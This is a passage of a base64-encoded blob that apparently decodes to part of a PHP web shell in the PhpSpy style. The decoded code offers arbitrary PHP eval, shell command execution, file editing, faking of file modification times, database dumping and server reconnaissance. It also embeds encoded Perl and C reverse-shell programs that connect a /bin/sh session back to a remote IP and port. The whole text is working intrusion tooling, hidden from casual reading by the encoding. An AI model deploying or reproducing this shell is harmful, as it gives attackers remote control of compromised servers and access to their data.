+Jyk7DQoJCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPC90cj4nKTsNCgkJCQl9DQoJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOw0KCQkJCXAoJzx0ZD4mbmJzcDs8L3RkPicpOw0KCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Jy4kdGFibGVfcm93cy4nPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOw0KCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDQgOiAyKS4nIj4mbmJzcDs8L3RkPicpOw0KCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7DQoJCQkJZm9ybWZvb3QoKTsNCgkJCQlwKCI8L3RhYmxlPiIpOw0KCQkJCWZyKCRxdWVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmb290KCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoJCWlmICgkdXNlID09ICdwZXJsJykgew0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9IGVsc2Ugew0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9DQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1lvdXIgSVA6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoJcCgnWW91ciBQb3J0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsNCglwKCdVc2U6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCn0vL2VuZCBzcWwgYmFja3VwDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZXZhbCcpIHsNCgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOw0KCWlmKCRwaHBjb2RlKXsNCgkJaWYgKCFwcmVnX21hdGNoKCcjPFw/I3NpJywgJHBocGNvZGUpKSB7DQoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsNCgkJfQ0KCQlldmFsKCI/Ii4iPiRwaHBjb2RlPD8iKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+JzxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdD48YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzp3aGl0ZSAwcHggMHB4IDhweDsgY29sb3I6d2hpdGUiPjxmb250IGNvbG9yPXJlZD5FdmFsIFBIUCBDb2RlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCglwKCc8cD48YSBocmVmPSJodHRwOi8vd3d3LmFsdHVya3MuY29tL3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBldmFsDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZWRpdGZpbGUnKSB7DQoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsNCgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7DQoJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkb3BmaWxlKSk7DQoJCUBmY2xvc2UoJGZwKTsNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOw0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZWRpdGZpbGUNCg0KZWxzZWlmICgkYWN0aW9uID09ICduZXd0aW1lJykgew0KCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7DQoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoJJGNhY2hlbW9udGggPSBhcnJheSgnSmFudWFyeSc9PjEsJ0ZlYnJ1YXJ5Jz0+MiwnTWFyY2gnPT4zLCdBcHJpbCc9PjQsJ01heSc9PjUsJ0p1bmUnPT42LCdKdWx5Jz0+NywnQXVndXN0Jz0+OCwnU2VwdGVtYmVyJz0+OSwnT2N0b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsNCglwKCd5ZWFyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOw0KCXAoJ21vbnRoOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidtb250aCcsJ3ZhbHVlJz0+ZGF0ZSgnbScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdkYXk6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdob3VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ21pbnV0ZTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbWludXRlJywndmFsdWUnPT5kYXRlKCdpJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ3NlY29uZDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgbmV3dGltZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgew0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCWlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsNCgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsNCgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7DQoJCQltKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1Y2Nlc3MnIDogJ2ZhaWwnKSk7DQoJCX0NCgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7DQoJCSEkcGFyYW1ldGVyICYmICRwYXJhbWV0ZXIgPSAnL2MgbmV0IHN0YXJ0ID4gJy5TQV9ST09ULidsb2cudHh0JzsNCgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsNCgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUHJvZ3JhbScsJ25hbWUnPT4ncHJvZ3JhbScsJ3ZhbHVlJz0+JHByb2dyYW0sJ25ld2xpbmUnPT4xKSk7DQoJCXAoJzxwPicpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7DQoJCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCgkJcCgnPC9wPicpOw0KCQlmb3JtZm9vdCgpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7DQoJfQ0KCXAoJzxwPicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQoNCglpZiAoJGNvbW1hbmQpIHsNCgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsNCgkJaWYgKCRleGVjZnVuYz09J3dzY3JpcHQnICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7DQoJCQkkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOw0KCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCgkJCWVjaG8gJHN0cm91dHB1dDsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09J3Byb2Nfb3BlbicgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwNCgkJCSAgIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykNCgkJCSk7DQoJCQkkcHJvY2VzcyA9IHByb2Nfb3BlbigkX1NFUlZFUlsnQ09NU1BFQyddLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAiZXhpdFxyXG4iKTsNCgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1sxXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMl0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsNCgkJCQl9DQoJCQkJZmNsb3NlKCRwaXBlc1syXSk7DQoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoJCQl9DQoJCX0gZWxzZSB7DQoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsNCgkJfQ0KCQlwKCc8L3ByZT4nKTsNCgl9DQp9Ly9lbmQgc2hlbGwNCg0KZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7DQoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOw0KCSRhZG1pbm1haWw9aXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSA/ICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSA6IGdldGNmZygnc2VuZG1haWxfZnJvbScpOw0KCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsNCgkkaW5mbyA9IGFycmF5KA0KCQkxID0+IGFycmF5KCdTZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KCQkzID0+IGFycmF5KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJNCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLA0KCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCTcgPT4gYXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksDQoJCTkgPT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwNCg0KCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwNCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksDQoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2RlJykpLA0KCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksDQoJCTE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLA0KCQkxNSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwNCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLA0KCQkxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLA0KCQkxOCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykpLA0KCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwNCgkJMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwNCgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLA0KCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksDQoJCTIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwNCgkpOw0KDQoJaWYoJHBocHZhcm5hbWUpIHsNCgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7DQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZlciBlbnZpcm9ubWVudCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQbGVhc2UgaW5wdXQgUEhQIGNvbmZpZ3VyYXRpb24gcGFyYW1ldGVyKGVnOm1hZ2ljX3F1b3Rlc19ncGMpJywnbmFtZSc9PidwaHB2YXJuYW1lJywndmFsdWUnPT4kcGhwdmFybmFtZSwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoNCgkkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7DQoJZm9yKCRhPTA7JGE8MjskYSsrKSB7DQoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsNCgkJcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsNCgkJaWYgKCRhPT0wKSB7DQoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7DQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgew0KCQkJZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7DQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0KCQl9DQoJCXAoJzwvdWw+Jyk7DQoJfQ0KfS8vZW5kIHBocGVudg0KDQplbHNlIHsNCgltKCdVbmRlZmluZWQgQWN0aW9uJyk7DQp9DQoNCj8+DQo8L3RkPjwvdHI+PC90YWJsZT4NCjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+DQoJPHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PD9waHAgZGVidWdpbmZvKCk7b2JfZW5kX2ZsdXNoKCk7Pz48L3NwYW4+DQoJPEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxjZW50ZXI+PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6d2hpdGUgMHB4IDBweCA4cHg7IGNvbG9yOndoaXRlIj48Zm9udCBjb2xvcj1yZWQ+Q29weXJpZ2h0IChDKSAyMDA4LTIwMTIgPGEgaHJlZj0iaHR0cDovL3d3dy5tNHJjMC1zZWN1cml0eS5ibG9nc3BvdC5jb20iIHRhcmdldD0iX2JsYW5rIj5NYXJjby1ibG9nPC9hPiBBbGwgUmlnaHRzIFJlc2VydmVkLg0KPC9kaXY+DQo8L2JvZHk+DQo8